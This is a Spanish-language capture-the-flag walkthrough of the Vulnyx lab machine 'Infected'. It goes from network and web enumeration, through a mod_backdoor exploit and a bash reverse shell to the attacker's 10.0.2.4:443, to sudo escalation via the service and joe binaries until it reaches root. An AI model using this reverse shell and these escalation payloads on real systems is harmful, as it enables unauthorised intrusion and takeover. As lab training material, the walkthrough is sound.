Máquina Infected (Vulnyx)
Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.9
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.9
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p- 10.0.2.9 -sVC
Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 y 80.
Comprobamos que es lo que corre en el puerto 80.
A continuación, realizamos con la herramienta gobuster un fuzzing web por extensiones de archivos .php, para ello ejecutamos el siguiente comando:
$ gobuster dir -u http://10.0.2.9:80 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php
Encontramos el archivo info.php.
Accedemos a este archivo.
Si bajamos la pagina vemos en el apartado llamado Loaded Modules algo que nos llama la atención que dice mod_backdoor.
Hacemos una busqueda por google y nos encontramos este repositorio de github el cual contiene el exploit para explotarlo.
Nos lo descargamos, y lo ejecutamos con el siguiente comando:
$ python exploit.py 10.0.2.9 80
¡¡¡Podemos ejecutar comandos!!!
A continuación, en otra pestaña de la terminal de nuestra Máquina Atacante y con la ayuda de la herramienta netcat(nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:
$ nc -lvnp 443
Y en la Máquina Victima ejecutamos la siguiente reverse shell:
$ bash -c 'bash -i >& /dev/tcp/10.0.2.4/443 0>&1'
Y obtenemos una shell como www-data.
Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:
$ sudo -l
Nos encontramos con el binario service que lo podemos ejecutar como el usuario laurent. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.
Lo ejecutamos de la siguiente manera:
$ sudo -u laurent /usr/sbin/service ../../bin/sh
¡¡¡Somos laurent!!!
A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutaremos los siguiente comandos:
$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm
De nuevo como el usuario laurent enumeramos los permisos sudo, para ello ejecutamos de nuevo el siguiente comando:
$ sudo -l
Nos encontramos con el binario joe que lo podemos ejecutar como el usuario root. por lo tanto nos vamos de nuevo a la pagina gtfobins a mirar el payload.
Lo ejecutamos:
$ sudo /usr/bin/joe
Pulsamos Ctrl + K y escapamos con !.
Y escribimos lo siguiente:
/bin/sh
¡¡¡Ya somos root!!!














